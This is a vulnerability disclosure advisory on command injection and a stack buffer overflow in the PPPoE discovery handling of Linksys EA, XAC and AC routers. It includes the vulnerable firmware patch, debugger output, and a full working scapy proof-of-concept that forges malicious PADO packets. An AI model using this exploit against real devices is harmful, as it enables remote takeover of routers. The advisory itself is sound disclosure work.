SSD Advisory – Linksys PPPoE Multiple Vulnerabilities
Credit to Author: Maor Schwartz| Date: Wed, 19 Apr 2017 13:52:33 +0000
Want to get paid for a vulnerability similar to this one?
Contact us at: sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom
Vulnerabilities Summary
The following advisory describes two (2) vulnerabilities found in Linksys EA, XAC and AC series devices.
The vulnerabilities has been found in the way the Linksys devices (EA, XAC and AC series) handle the Point-to-point protocol over Ethernet (PPPoE) Discovery (PPPoED) process allowing an unprivileged active attacker on the same network segment (layer2) to inject arbitrary shell commands by answering PPPoE Active Discovery probe requests (PADI) with a malicious PPPoE Active Discovery Offer (PADO). The exact same code is also vulnerable to a buffer overwrite.
The vulnerabilities are:
- Command Injection
- Buffer Overwrite
Credit
An independent security researcher, 0x721427D8, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
Vendor Responses
Linksys has released patches to address this vulnerability.
Vulnerabilities Details
The Linksys wireless-router firmware is based on linux and a set of open-source daemons including Linksys specific modifications to these services. One of these modifications is a series of patches to the ppp package including rp-pppoe (Roaring Penguin) the PPPoE discovery module. One specific patch attempts to extract the DSL Access Concentrator Name (acname) from the PPPoE Active Discovery Offer (see section Details) that is received as a response to the routers PPPoE session initiation attempt.
This value is then stored within the firmware’s environment by executing a shell command sysevent set where is exactly the value taken from the packet. The acname is at no point neither validated nor sanitized therefore allowing any PADO to inject arbitrary shell commands to the Linksys firmware by chaining commands or spawning a subshell ( ; , || , && , $(subcommand), cmd, …)
The exact same patch also introduces a buffer overwrite vulnerability by failing to limit the attacker provided Service-Name length while forming the sysevent command which is stored to a fixed size 256 byte stack buffer cmd. Any acname > 226 bytes will overwrite the stack allocated 256 byte buffer.
Since PPPoE is typically used for dial-up this vulnerability is exploited on the WAN interface and will require PPPoE dialup being configured. Some ISPs (especially DOCSIS ISPs) fail to protect their WAN dialup ethernet segment which might potentially allow an attacker to compromise other vulnerable customer devices if they share the same dialup broadcast domain.
PPP and PPPoE Discovery Protocol
The Point-to-Point protocol (PPP) is used by ISPs to enable dial-up connections to the internet. PPP was originally designed to work with serial connections but can be encapsulated in other data link layer protocols like Ethernet (PPPoE) or Asynchronous Transfer Mode (ATM) (PPPoA or PPPoATM).
PPPoE is a network protocol that encapsulates Point-to-point (PPP) frames in Ethernet frames. PPPoE establishes a point-to-point connection between two Ethernet nodes. In order to initiate a PPPoE session the Ethernet MAC-Address of the preferred peer (e.g. the DSL access concentrator) has to be identified. This process of enumerating and picking an ethernet peer for PPPoE session initiation is called PPPoE discovery:
Step 1: INITIATION – In order to find the MAC Address of the preferred DSL access concentrator (DSL-AC) the client broadcasts a PPPoE Active Discovery Initiation (PADI) packet. The PADI contains MAC address of the initiator and optionally the Service-Name of the DSL-AC the client would like to be connected to as it is possible to have multiple DSL-ACs service different Service-Names on the same segment for PPPoE.
Step 2: OFFER – The DSL-AC replies with a PPPoE Active Discovery Offer (PADO). The reply is sent to the initiated MAC address (taken from PADI) along with the DSL-AC name acname (typically a static name configured by the ISP) and the Service-Name. The initiator might receive multiple PADOs for multiple DSL-ACs if no Service-Name was sent with the initial PADI and it is up to the initiator to accept one of the received offers.
1 2 3 4 5 6 7 8 9 10 11 | Frame 2: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) Ethernet II, Src: Unispher_a4:10:be (00:90:1a:a4:10:be), Dst: 20:28:18:a0:a9:d2 (20:28:18:a0:a9:d2) PPP–over–Ethernet Discovery 0001 .... = Version: 1 .... 0001 = Type: 1 Code: Active Discovery Offer (PADO) (0x07) Session ID: 0x0000 Payload Length: 35 PPPoE Tags AC–Name: r–al121 AC–Cookie: bebcb53c10b32769a8661c36a45d8720 |
Step 3: REQUEST – In order to confirm acceptanceof the PADO the initiator sends a PPPoE Active Discovery Request (PADR) providing the Cookie sent along the PADO.
1 2 3 4 5 6 7 8 9 10 | Frame 3: 44 bytes on wire (352 bits), 44 bytes captured (352 bits) Ethernet II, Src: 20:28:18:a0:a9:d2 (20:28:18:a0:a9:d2), Dst: Unispher_a4:10:be (00:90:1a:a4:10:be) PPP–over–Ethernet Discovery 0001 .... = Version: 1 .... 0001 = Type: 1 Code: Active Discovery Request (PADR) (0x19) Session ID: 0x0000 Payload Length: 24 PPPoE Tags AC–Cookie: bebcb53c10b32769a8661c36a45d8720 |
Step 4: CONFIRM – The DSL-AC confirms the request (PADR) by sending a PPPoE Active Discovery Session-confirmation (PADS), a Session-ID is sent along.
1 2 3 4 5 6 7 8 9 10 | Frame 4: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) Ethernet II, Src: Unispher_a4:10:be (00:90:1a:a4:10:be), Dst: 20:28:18:a0:a9:d2 (20:28:18:a0:a9:d2) PPP–over–Ethernet Discovery 0001 .... = Version: 1 .... 0001 = Type: 1 Code: Active Discovery Session–confirmation (PADS) (0x65) Session ID: 0x18b2 Payload Length: 4 PPPoE Tags /* session established */ |
Step 5: Termination – In order to terminate the PPPoE session anyon of the two peer can send a PPPoE Active Discovery Termination (PADT).
Vulnerable Code
This report is based on the EA8500 firmware but all the other versions basically share the same firmware code and patchset.
Firmware: EA8500_v1.1.4.171079_SP6.tar.gz
Patchset: EA8500_v1.1.4.171079_SP6.tar.gzEA8500_v1.1.4.171079_SP6srcppp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | ppp–2.4.4_001_build.patch ppp–2.4.4_002_handle_multiple_l2tp_packets.patch ppp–2.4.4_003_mru.patch ppp–2.4.4_004_rp–pppoe_service_name.patch ppp–2.4.4_005_use_servicename_from_pado.patch ppp–2.4.4_006_comment.patch ppp–2.4.4_007_fix_garbage_servicename.patch ppp–2.4.4_008_get_acname_sessionid.patch //!# <- introduces vulnerabilities ppp–2.4.4_009_get_ppp_auth_proto.patch ppp–2.4.4_010_ppp_l2tp_plugin.patch ppp–2.4.4_011_ppp_pptp_plugin.patch ppp–2.4.4_012_chap_msv2_reserved_field.patch ppp–2.4.4_013_ppp_clamp_mtu.patch ppp–2.4.4_015_ipv6cp_rejected_pppoe_on_demand.patch |
Vulnerable file: ppp-2.4.4_008_get_acname_sessionid.patch
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | diff –Nur pppd–old/pppd/plugins/rp–pppoe/discovery.c pppd–new/pppd/plugins/rp–pppoe/discovery.c —– pppd–old/pppd/plugins/rp–pppoe/discovery.c 2012–02–07 18:35:27.000000000 +0800 +++ pppd–new/pppd/plugins/rp–pppoe/discovery.c 2012–02–13 14:12:00.093953000 +0800 @@ –114,13 +114,17 @@ struct PacketCriteria *pc = (struct PacketCriteria *) extra; PPPoEConnection *conn = pc->conn; int i; – + char cmd[256]; //!# 256bytes fixed stack buffer + memset(cmd,0,sizeof(cmd)); switch(type) { case TAG_AC_NAME: pc->seenACName = 1; if (conn->printACNames) { printf(“Access-Concentrator: %.*sn”, (int) len, data); } + /*add by taliang@cisco.com @13/02 2012 for tr69*/ + sprintf(cmd, “sysevent set wan_pppoe_acname %.*s”,(int)len, data); //!# VU#2 stack buffer overwrite sprintf + system(cmd); //!# VU#1 shell command injection if (conn->acName && len == strlen(conn->acName) && !strncmp((char *) data, conn->acName, len)) { pc->acNameOK = 1; @@ –514,6 +518,8 @@ PPPoEPacket packet; int len; + char cmd[256]; + memset(cmd, 0, sizeof(cmd)); do { if (BPF_BUFFER_IS_EMPTY) { tv.tv_sec = timeout; @@ –569,6 +575,9 @@ /* Don’t bother with ntohs; we’ll just end up converting it back… */ conn->session = packet.session; + /*add by taliang@cisco.com @13/02 2012 for tr69*/ + sprintf(cmd, “sysevent set wan_pppoe_session_id %d”,(int) ntohs(conn->session)); + system(cmd); syslog(LOG_INFO, “PPP session is %d”, (int) ntohs(conn->session)); |
- A 256 byte stack buffer cmd is allocated to build the shell command that stores the extracted acname for the firmwares environment.
- data contains the acname of the attacker controlled PADO packet
- sysevent set wan_pppoe_acname and is concatenated and stored in the 256 byte buffer.
- VU#2 – sprint(cmd,fmt,arg,…) does not limit the amount of bytes written to cmd and there is no length limitation or any check to prevent a buffer overwrite at this point. Therefore any acname> 226 bytes will write past the 256 byte buffer cmd (mem. corruption, pot. rce)
- VU#1 – The concatenated command sysevent set wan_pppoe_acname is being passed to system(cmd). There is no sanitation/input validation. Therefore any acname containing shell operators (;,||,&&,$(subshell),cmd,..) will cause a shell command injection (rce).
Proof of Concept
In order to run the Proof of Concept you should install scapy==2.3.1.
Command Injection
Step 1: run the PoC.py providing the interface to listen on.
Note that the command to be injected is configured in poc.py::ex.start.
1 2 3 4 5 6 7 8 9 10 | #> python poc.py eth0 INFO – available interfaces: INFO – * lo INFO – * eth0 INFO – * eth1 INFO – sniffing on ‘eth0’ and trying to inject ‘`echo 1 > /tmp/inject1` $(touch /tmp/inject2)’ INFO – waiting for PPPoED PADI... ... |
Step 2: run pppoe-discovery # shell injection
1 2 3 4 5 6 7 8 9 10 11 12 | ppp–2.4.4#> ./pppd/plugins/rp-pppoe/pppoe-discovery -I eth0 -D debug.log -U -S lol Service–Name: lol Got a cookie: 41 Access–Concentrator: `echo 1 > /tmp/inject1` $(touch /tmp/inject2) sh: 1: sysevent: not found ————————————————————————— AC–Ethernet–Address: 00:0c:29:aa:aa:aa ppp–2.4.4#> ls /tmp/inje* /tmp/inject1 /tmp/inject2 |
Step 3: poc.py – shows details on the received packet as well as the forged packet with the command injection
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 | ... INFO – got PPPoED packet, checking if it is a PPPoED PADI INFO – PPPoED PADI detected, ###[ PPP over Ethernet Discovery ]### version = 1L type = 1L code = PADI sessionid = 0x0 len = 15 ###[ PPPoE Tag ]### tag_type = Service–Name tag_len = 3 tag_value = ‘lol’ ###[ PPPoE Tag ]### tag_type = Host–Uniq tag_len = 4 tag_value = ‘x17\x00x00’ ###[ PPPoE Tag ]### tag_type = End–Of–List tag_len = 0 tag_value = ” ###[ Padding ]### load = ‘x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00’ INFO – -> PPPoE Tag INFO – -> PPPoE Tag INFO – got host_uniq: ‘x17\x00x00’ INFO – -> PPPoE Tag INFO – -> Padding INFO – sending malicious PADO... ###[ Ethernet ]### dst = 00:0c:29:bb:bb:bb src = 00:0c:29:aa:aa:aa type = 0x8863 ###[ PPP over Ethernet Discovery ]### version = 1 type = 1 code = PADO sessionid = 0x0 len = None ###[ PPPoE Tag ]### tag_type = Service–Name tag_len = None tag_value = ‘lol’ ###[ PPPoE Tag ]### tag_type = Host–Uniq tag_len = None tag_value = ‘x17\x00x00’ ###[ PPPoE Tag ]### tag_type = AC–Cookie tag_len = None tag_value = ‘A’ ###[ PPPoE Tag ]### tag_type = AC–Name tag_len = None tag_value = ‘`echo 1 > /tmp/inject1` $(touch /tmp/inject2)’ ###[ PPPoE Tag ]### tag_type = End–Of–List tag_len = None tag_value = ” . Sent 1 packets. INFO – hooray, malicious PADO sent! :) check your target! False INFO – got PPPoED packet, checking if it is a PPPoED PADI |
Buffer Overwrite
Step 1: run poc.py with an acname of ‘A’*1420 see poc.py::ex.start()
1 2 3 4 5 6 7 8 9 10 | #> poc.py eth0 INFO – available interfaces: INFO – * lo INFO – * eth0 INFO – * eth1 INFO – sniffing on ‘eth0’ and trying to inject ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA’ INFO – waiting for PPPoED PADI... ... |
Step 2: run pppoe-discovery
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | #> gdb –args ./pppd/plugins/rp-pppoe/pppoe-discovery -I eth0 -D debug.log -U -S lol (gdb) b discovery.c:126 Breakpoint 1 at 0x401508: file discovery.c, line 126. (gdb) r Starting program: /root/pppp/ppp/ppp–2.4.4/pppd/plugins/rp–pppoe/pppoe–discovery –I eth0 –D debug.log –U –S lol Service–Name: lol Got a cookie: 41 Access–Concentrator: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 1, parsePADOTags (type=<optimized out>, len=1400, data=0x7fffffffdedc ‘A’ <repeats 200 times>..., extra=0x7fffffffde10) at discovery.c:126 126 sprintf(cmd, “sysevent set wan_pppoe_acname %.*s”,(int)len, data); (gdb) bt #0 parsePADOTags (type=<optimized out>, len=1400, data=0x7fffffffdedc ‘A’ <repeats 200 times>…, extra=0x7fffffffde10) at discovery.c:126 #1 0x0000000000402899 in parsePacket (packet=0x7fffffffdeb0, func=0x401340 <parsePADOTags>, extra=0x7fffffffde10) at common.c:82 #2 0x0000000000401d3b in waitForPADO (conn=0x605010, timeout=2147482226, timeout@entry=5) at discovery.c:388 #3 0x00000000004023c0 in discovery (conn=conn@entry=0x605010) at discovery.c:629 #4 0x00000000004010d4 in main (argc=8, argv=0x7fffffffe5f8) at pppoe-discovery.c:83 |
The stack is looking sane so far, lets step over the sprintf:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | (gdb) n 127 system(cmd); (gdb) bt #0 parsePADOTags (type=<optimized out>, len=1400, data=0x7fffffffdedc ‘A’ <repeats 200 times>…, extra=0x7fffffffde10) at discovery.c:127 #1 0x4141414141414141 in ?? () #2 0x4141414141414141 in ?? () #3 0x4141414141414141 in ?? () #4 0x4141414141414141 in ?? () #5 0x4141414141414141 in ?? () #6 0x4141414141414141 in ?? () #7 0x4141414141414141 in ?? () #8 0x4141414141414141 in ?? () #9 0x4141414141414141 in ?? () #10 0x4141414141414141 in ?? () #11 0x4141414141414141 in ?? () #12 0x0000414141414141 in ?? () #13 0x000005a800000010 in ?? () #14 0x0000000000000004 in ?? () #15 0x00000000000f310d in ?? () #16 0x0000000000605010 in ?? () #17 0x0000000100000001 in ?? () #18 0x0000000100000001 in ?? () #19 0x00000000004034a6 in ?? () #20 0x0000000000000010 in ?? () #21 0x0000000000000000 in ?? () |
Because we changed the stack, we overwrite the return ptrs.
1 2 3 4 5 6 7 8 | (gdb) c Continuing. sh: 1: sysevent: not found Program received signal SIGSEGV, Segmentation fault. 0x00000000004013c1 in parsePADOTags (type=<optimized out>, len=<optimized out>, data=<optimized out>, extra=<optimized out>) at discovery.c:209 209 } |
Step 3: run poc.py output
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 | ... INFO – got PPPoED packet, checking if it is a PPPoED PADI INFO – PPPoED PADI detected, ###[ PPP over Ethernet Discovery ]### version = 1L type = 1L code = PADI sessionid = 0x0 len = 15 ###[ PPPoE Tag ]### tag_type = Service–Name tag_len = 3 tag_value = ‘lol’ ###[ PPPoE Tag ]### tag_type = Host–Uniq tag_len = 4 tag_value = ‘!\x00x00’ ###[ PPPoE Tag ]### tag_type = End–Of–List tag_len = 0 tag_value = ” ###[ Padding ]### load = ‘x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00’ INFO – -> PPPoE Tag INFO – -> PPPoE Tag INFO – got host_uniq: ‘!\x00x00’ INFO – -> PPPoE Tag INFO – -> Padding INFO – sending malicious PADO... ###[ Ethernet ]### dst = 00:0c:29:5a:a5:9b src = 00:0c:29:1f:ab:17 type = 0x8863 ###[ PPP over Ethernet Discovery ]### version = 1 type = 1 code = PADO sessionid = 0x0 len = None ###[ PPPoE Tag ]### tag_type = Service–Name tag_len = None tag_value = ‘lol’ ###[ PPPoE Tag ]### tag_type = Host–Uniq tag_len = None tag_value = ‘!\x00x00’ ###[ PPPoE Tag ]### tag_type = AC–Cookie tag_len = None tag_value = ‘A’ ###[ PPPoE Tag ]### tag_type = AC–Name tag_len = None tag_value = ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA’ ###[ PPPoE Tag ]### tag_type = End–Of–List tag_len = None tag_value = ” . Sent 1 packets. INFO – hooray, malicious PADO sent! :) check your target! False INFO – got PPPoED packet, checking if it is a PPPoED PADI |
PoC.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 | #!/usr/bin/env python # -*- coding: UTF-8 -*- import sys from scapy.all import * import logging logger = logging.getLogger(__name__) # PPPoE Tag definition class PPPoE_Tag(Packet): name = “PPPoE Tag” fields_desc = [ ShortEnumField(‘tag_type’, None, {0x0000: ‘End-Of-List’, 0x0101: ‘Service-Name’, 0x0102: ‘AC-Name’, 0x0103: ‘Host-Uniq’, 0x0104: ‘AC-Cookie’, 0x0105: ‘Vendor-Specific’, 0x0110: ‘Relay-Session-Id’, 0x0201: ‘Service-Name-Error’, 0x0202: ‘AC-System-Error’, 0x0203: ‘Generic-Error’}), FieldLenField(‘tag_len’, None, length_of=‘tag_value’, fmt=‘H’), StrLenField(‘tag_value’, ”, length_from=lambda pkt:pkt.tag_len)] # bind layers for auto-dissection bind_layers(PPPoED, PPPoE_Tag, type=1) bind_layers(PPPoE_Tag, Padding, tag_type=0) bind_layers(PPPoE_Tag, PPPoE_Tag) class Exploit(object): def start(self, iface=“eth0”, cmd=“`echo 1 > /tmp/inject1` $(touch /tmp/inject2)”): self.cmd = cmd conf.iface = iface logger.info(“sniffing on %r and trying to inject %r”%(conf.iface, cmd)) logger.info(“waiting for PPPoED PADI…”) sniff(prn=self.attack, filter=“not tcp and not udp”) def attack(self, pkt): if PPPoE_Tag not in pkt or PPPoED not in pkt: return logger.info(“got PPPoED packet, checking if it is a PPPoED PADI”) if pkt[PPPoED].code!=0x09: #PADI return logger.info(“PPPoED PADI detected, “) layer = pkt[PPPoED] layer.show() host_uniq = “” while layer: layer = layer.payload if not layer: break logger.info(“-> %s”%layer.name) if not “PPoE” in layer.name: break if layer.name==“PPPoE Tag” and layer.tag_type==0x0103: # Host-Uniq host_uniq = layer.tag_value logger.info(“got host_uniq: %r”%host_uniq) logger.info(“sending malicious PADO…”) retp = Ether(dst=pkt[Ether].src, src=get_if_hwaddr(conf.iface))/PPPoED(code=‘PADO’)/ PPPoE_Tag(tag_type=‘Service-Name’,tag_value=“lol”)/ PPPoE_Tag(tag_type=‘Host-Uniq’,tag_value=host_uniq)/ PPPoE_Tag(tag_type=“AC-Cookie”,tag_value=“A”)/ PPPoE_Tag(tag_type=‘AC-Name’,tag_value=self.cmd)/ PPPoE_Tag(tag_type=“End-Of-List”,tag_value=“”) retp.show() sendp(retp) logger.info(“hooray, malicious PADO sent! 🙂 check your target!”) return False if __name__==“__main__”: logging.basicConfig(level=logging.DEBUG, format=‘%(levelname)-8s – %(message)s’) logger.setLevel(logging.DEBUG) logger.info(“available interfaces:”) for i in get_if_list(): logger.info(” * %s”%i) if not len(sys.argv)==2: logger.warning(“missing cmdline options, check usage”) print “” print “usage: poc.py <iface>” sys.exit(1) ex = Exploit() #ex.start(iface=sys.argv[1], cmd=”`echo 1 > /tmp/inject1` $(touch /tmp/inject2)”) # VU1 ex.start(iface=sys.argv[1], cmd=“A”*1420) # VU2 |